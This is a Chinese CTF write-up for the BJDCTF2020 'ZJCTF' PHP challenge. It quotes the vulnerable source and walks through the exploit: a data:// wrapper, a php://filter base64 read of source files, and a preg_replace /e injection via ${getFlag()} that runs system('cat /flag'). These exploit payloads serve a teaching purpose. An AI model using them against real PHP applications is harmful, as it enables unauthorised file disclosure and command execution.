[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

打开题目 首先是一段源代码:

<?php
​
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
​
    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

直接进行代码审计,看到有读取文件,想到了伪协议,因为file_get_contents是读取文件的,直接读字符串不行。直接上代码。?text=data://text/plain,I have a dream。也可以用?text=php://input,然后再post传参I have a dream一样的。满足了第一个if接着看,传入的参数file不能有flag字符,才可以包含传入的file,然后看到提示有个next.php。看到这里如果令file=next.php。只能让他包含进去,其他什么用都没有,况且他本来就包含了。所以这里应该是想办法看到next.php的内容是什么。

试了一下直接输next.php

 

 

果然什么都没有,那就再用php伪协议读取next.php里面的内容:file=php://filter/convert.base64-encode/resource=index.php。传进去后includ包含这个内容,就会把index.php的内容以base64编码的方式展现出来。

最后payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=index.php.

 

接着把它解码

得到第二段源代码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
​
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
​
​
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
​
function getFlag(){
    @eval($_GET['cmd']);
}

首先解释foreach

发现这个讲的挺清楚:

$row=array('one'=>1,'two'=>2);
​
foreach($row as $key=>$val){
echo $key.'--'.$val;
#one--1
#two--2

而题目是foreach($_GET as $re => $str),假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world

正则里面/i 是忽略大小写.然后解释/e: 正则表达式中的/e模式的作用是将替换串中的内容当作代码来执行

strtolower()的作用是把大写字母转换为小写字母。

可替换参数里面是 \\1就是\1的意思,意思是表示取出正则匹配后的第一个子匹配中的第一项,再看后面有个执行代码的函数。那思路就来了,想办法执行第三个函数就可以了。既然替只取出子匹配的第一项去替换,就让他的第一项就为我们想要执行的函数就可以达到目的了。构造payload:next.php?(\S*)=${getFlag()}&cmd=system('cat /flag'); (\S*)匹配第一项getFlag(),然后把换上去的getFlag()当做代码执行(这里为什么用的是\S)而不是用的(.*),因为php里会把参数名里的特殊字符转为下划线“_”。\S代表非空白字符。传进去后即执行了 →echo preg_replace('/(\S*)/ei','strtolower("\\1")',getFlag('cmd'));echo @eval(system('cat /flag');)

至于为什么是${getFlag()}而不是getFlag(),先附上连接PHP: 可变变量 - Manual

在php中,双引号里面如果包含有变量,php解释器会进行解析;所以这里如果传getFlag()的话替换后变成了strtolower("getFlag()"),需要让getFlag变成变量让双引号解析才可以执行,所以传的值为${getFlag()}。

最后得到flag^^

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值